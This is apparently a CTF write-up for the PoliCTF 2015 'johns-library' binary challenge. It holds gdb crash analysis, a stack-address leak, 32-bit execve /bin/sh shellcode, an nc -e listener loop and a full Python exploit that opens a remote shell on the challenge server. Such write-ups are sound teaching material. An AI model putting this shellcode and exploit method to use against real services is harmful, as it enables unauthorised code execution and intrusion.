PoliCTF 2015 johns-library

@mrexcessive WHA

The problem PoliCTF johns-library

Do you like reading books? here we have the best collection ever! you can even save some books for future reading!! enjoy noob!

nc library.polictf.it 80

[Binary] [Pwnable]

The solution Extract executable from .gpg as per instructions.

Try running it and compare with netcat to the remote server. Play with some inputs.

After a few minutes try -ve number for input of length of book title:

 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title: 
-1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Nice a segfault... probably got control of something then.

Also tried % in that length input, which crashes out without even allowing for input of a title.

Run in gdb

# note I'm running with gdb-peda extensions
# input AABBCC...ZZ is to help identify what we have control over

$ gdb ./johns-library
...
-1
AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0xf7fb1000 --> 0x1a5da8 
ECX: 0xfbad2288 
EDX: 0xf7fb1c20 --> 0xfbad2288 
ESI: 0xf7fb1c20 --> 0xfbad2288 
EDI: 0xf7e72e24 (ret)
EBP: 0x0 
ESP: 0xffffcfd0 --> 0xf7fb1c20 --> 0xfbad2288 
EIP: 0xf7e6f517 (:    mov    BYTE PTR [edi],al)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e6f50f :    and    ecx,0xffffffdf
   0xf7e6f512 :    mov    DWORD PTR [edx],ecx
   0xf7e6f514 :    and    ebp,0x20
=> 0xf7e6f517 :    mov    BYTE PTR [edi],al
   0xf7e6f519 :    lea    eax,[edi+0x1]
   0xf7e6f51c :    mov    DWORD PTR [esp+0x4],eax
   0xf7e6f520 :    mov    eax,DWORD PTR [ebx+0xd84]
   0xf7e6f526 :    mov    DWORD PTR [esp+0x10],0x0
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xf7fb1c20 --> 0xfbad2288 
0004| 0xffffcfd4 --> 0xf7fb1d84 --> 0xf7fb1c20 --> 0xfbad2288 
0008| 0xffffcfd8 --> 0xf7e0a940 (0xf7e0a940)
0012| 0xffffcfdc --> 0xf7e6c126 (<__isoc99_scanf+134>:    and    DWORD PTR [esi+0x3c],0xffffffeb)
0016| 0xffffcfe0 --> 0xf7fb1c20 --> 0xfbad2288 
0020| 0xffffcfe4 --> 0x8048890 --> 0x25006425 ('%d')
0024| 0xffffcfe8 --> 0xffffd014 --> 0xffffd02c --> 0xffffffff 
0028| 0xffffcfec --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf7e6f517 in gets () from /lib/i386-linux-gnu/i686/cmov/libc.so.6

Not straightforward control over EIP then...

  • Crashes out even if second input is one char long
  • Crashes out even if second input has reasonable length e.g. 10
  • Crashes out even if bad char is a single ! for length of book title.

Lets look at objdump -d disassembly...

SIGSEGV is in gets() ...
... but the title length number is read using a "%d" format string passed to scanf.

 80486c7:    8d 45 f4                lea    -0xc(%ebp),%eax                    ; pointer to input integer @ [EBP - 0xc]
 80486ca:    89 44 24 04             mov    %eax,0x4(%esp)   
 80486ce:    c7 04 24 90 88 04 08    movl   $0x8048890,(%esp)                  ; "%d"
 80486d5:    e8 96 fd ff ff          call   8048470 <__isoc99_scanf@plt>       ; scanf input
 80486da:    e8 41 fd ff ff          call   8048420               ; get a char (empty buffer ?)
 80486df:    a1 48 a0 04 08          mov    0x804a048,%eax                     ; get current string number... 
 80486e4:    8b 14 85 60 a0 04 08    mov    0x804a060(,%eax,4),%edx            ; get buffer pointer -> edx
 80486eb:    8b 45 f4                mov    -0xc(%ebp),%eax                    ; number of chars said to be required.

The number of chars [EBP - 0xc] is uninitialised if scanf() fails
Pointing to address in getchar()

Hmm...
Can we put in a specific -ve number of chars... so that adding 0x400 gives a more useful corruptable address...

Answer yes... We can change it... so if
length = -99999999
leads to EDI is 0xfa09ef5d, when trying to write 'next' data to it

length = -999999
leads to EDI is 0xfff08e1d

We want this to be on stack
ESP is 0xffffcfd0 at this point (doesn't change between runs - in gdb at least)

$ python # to work out the offset to try...
>>> 0xffffcfd0 - 0xfff08e1d
999859
>>> 999999 - 999859
140

So try -140 ?
Almost...
-144 gives EIP control !!!

Hey mate! Insert how long is the book title: 
-144
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title: 
10
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x35 ('5')
EBX: 0xf7fb1000 --> 0x1a5da8 
ECX: 0xf7fd5037 ('a' , "\n")
EDX: 0x35 ('5')
ESI: 0xf7fb1c20 --> 0xfbad2288 
EDI: 0xffffcfcc ("F", 'b' )
EBP: 0x0 
ESP: 0xffffcfd0 ('b' )
EIP: 0x62626246 ('Fbbb')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x62626246
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 ('b' )
0004| 0xffffcfd4 ('b' )
... etc ...

Needs a bit of refinement
Lets try -148...
Yer that works perfectly I think

Hey mate! Insert how long is the book title: 
-148
aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz

 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title: 
100
AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x33 ('3')
EBX: 0xf7fb1000 --> 0x1a5da8 
ECX: 0xf7fd5035 --> 0x0 
EDX: 0x33 ('3')
ESI: 0xf7fb1c20 --> 0xfbad2288 
EDI: 0xffffcfc8 ("AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ")
EBP: 0x0 
ESP: 0xffffcfd0 ("EEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ")
EIP: 0x44444343 ('CCDD')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44444343
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 ("EEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ")
0004| 0xffffcfd4 ("GGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ")
... etc ...
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44444343 in ?? ()

So we need to put 0xffffcfd0 into CCDD position then write our code from EE onwards

Lets try just piping in some shellcode and using the CCDD position to overwrite EIP (execution address)

Shellcode as used in LegitBS CTF a few months back.

"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80"
(python -c 'print "a\n-148\naabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz\na\n100\nAABB\xd0\xcf\xff\xff\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80\n"'; cat) | ./johns-library 

Well that doesn't work... Might need to do input in stages - pausing and reading output prior to each input.
Nothing sophisticated just a read()

But... need to run the local copy inside a netcat server... so we can test and live run using same python...

Use this little bit of shell script to mount johns-library onto a port :

#!/bin/sh
while true; do nc -l -p 7777 -e ./johns-library ; done

Time for a little Python coding... well that doesn't work either... Hmmm...

OK the problem is that the data area (containing the buffer, pointed to by EDI) is moving around with each run. So we need a way to extract an address.

Perhaps some other input value to the 'length of string' input will be able to display some useful binary... exfiltrate the value of EDI (or something in the same segment) from the running code - so we can determine the address of the data in the buffer and then use that value to run our shellcode.

Some messing later discover that negative lengths around -450 produce interesting output

[f7a49d81ffe84a79f7609d81ffead277f7109d81ff60820408189d81ff8c4a79f7200a2072202d20726561642066726f6d206c6962726172790a2061202d2061646420656c656d656e740a2075202d20657869740a

The address we can use is 609d81ff... because that maps to same segment as EDI in the corresponding segfault register display:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x33 ('3')
EBX: 0xf7748000 --> 0x1a5da8 
ECX: 0xf776c035 --> 0x0 
EDX: 0x33 ('3')
ESI: 0xf7748c20 --> 0xfbad2088 
EDI: 0xff819d98 ("AABB \233\276\377j\vX\231Rh//sh\276.ahm\201\306\001\001\001\001V\211\343RS\211\341̀\220\220\220\220\220\220\220\220\220\220\220\220\220\220")

A small calculation later (in the Python) and the final code is :

#!/usr/bin/python
#PoliCTF 2015 johns-library
#@mrexcessive

import os, sys, code
import readline, rlcompleter
import socket
import time
import struct
import telnetlib

SERVER = "library.polictf.it"      # the actual challenge server
PORT = 80

pauseDebugging = True     # use this when debugging locally
goTelnetAtEnd = True       # enable once you have some kind of expectation that it isn't all screwed up

####LIMITATIONS
# This only works if the two addresses addr1 and addr2 are in same 0x100 segement
############

localtest = False
if localtest:
   #TESTING LOCALLY
   SERVER = "localhost"
   PORT = 7777

debug = True
alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
printables =   alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#"
s = None

mem = ""

def GetShellcode():
   shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80"
   useshellcode = shellcode
   print "Shellcode = [%s]" % useshellcode.encode("hex")
   print "shellcode length = %i" % len(useshellcode)
   return useshellcode


def DoConnect():
   global s
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((SERVER,PORT))
   assert(s <> None)

def GetResponse(dropbefore="",timeout=0.5):
   global s
   s.setblocking(0)
   total_data=[]
   begin = time.time()
   while True:
      if total_data and time.time() - begin > timeout:      # wait timeout sec if we have something
         break
      elif time.time() - begin > timeout * 2:               # wait 2xtimeout if nothing
         break
      try:
         data = s.recv(1024)
         if data:
            total_data.append(data)
            begin = time.time()
         else:
            time.sleep(0.1)
      except:
         pass
   op = ''.join(total_data)
   if dropbefore == "":
      return op
   else:
      print "OP before drop = [%s]" % op
      (a,b) = op.split(dropbefore,2)
      return b

def HackIt():
   response = GetResponse(timeout=0.5)       # throw away initial response

   # 0                  # locate the stack...
   s.send("r\n")     # read at offset
   response = GetResponse(timeout=0.5) 
   s.send("-450\n")  # seem to get interesting data this offset... can we locate stack with it ?
   edibuf = GetResponse(timeout=0.5)
   print "Locating EDI data buffer using @450\n[%s" % edibuf.encode("hex")
   # extract EDI
   #      Locating Stack data @ 450
   #      [f7 a4 9d 81 ff e8 4a 79 f7 609d81ff <--- that's the bit we need = EDI frame
   (edibase,) = struct.unpack("<I",edibuf[9:13])   
   print "EDI base found is %08x" % edibase

   if True:
   # 1
      s.send("a\n")     # add element
      response = GetResponse(timeout=0.5) 
      s.send("-148\n")  # the correct buffer fail offset
      response = GetResponse(timeout=0.5)
      s.send("aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz\n")  # fail input
   # 2
      response = GetResponse(timeout=0.5)
      s.send("a\n")     # add element
      response = GetResponse(timeout=0.5)
      s.send("100\n")  # the correct buffer fail offset
      response = GetResponse(timeout=0.5)

   if False:    # send test
      s.send("AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ\n")
   else:        # send shellcode
      scode = "AABB"          # padding
      editarget = edibase + 0x40
      scode += struct.pack("<I",editarget)
      scode += GetShellcode()
      while len(scode) < 52:
         scode += "\x90"      # yer weird... nopsled the end... but visible...
      s.send(scode + "\n")
      response = GetResponse(timeout=0.5)     # 10 seconds if need time to type conti into gdb...
      print "After sending shell [%s]" % response
#5. press 'n' deliberately to trigger exit and the return address
      print
      print "NOW PRESS n and Enter... for shell"   
      print



if __name__ == "__main__":
   vars = globals()
   vars.update(locals())
   readline.set_completer(rlcompleter.Completer(vars).complete)
   readline.parse_and_bind("tab: complete")
   shell = code.InteractiveConsole(vars)
   # any startups

   DoConnect()
   if pauseDebugging:
      print "Attach debugger to server process now if you want, then press "
      raw_input()

   HackIt()

   if goTelnetAtEnd:
      t = telnetlib.Telnet()
      t.sock = s
      t.interact()

   # go interactive   
   #shell.interact()    # exit... cos... reasons

Excellent that works locally... get a shell
Now run on live server... worked first time ! Nice...

    ls /home
    ls /home/ctf
    cat /home/ctf/flag

Result !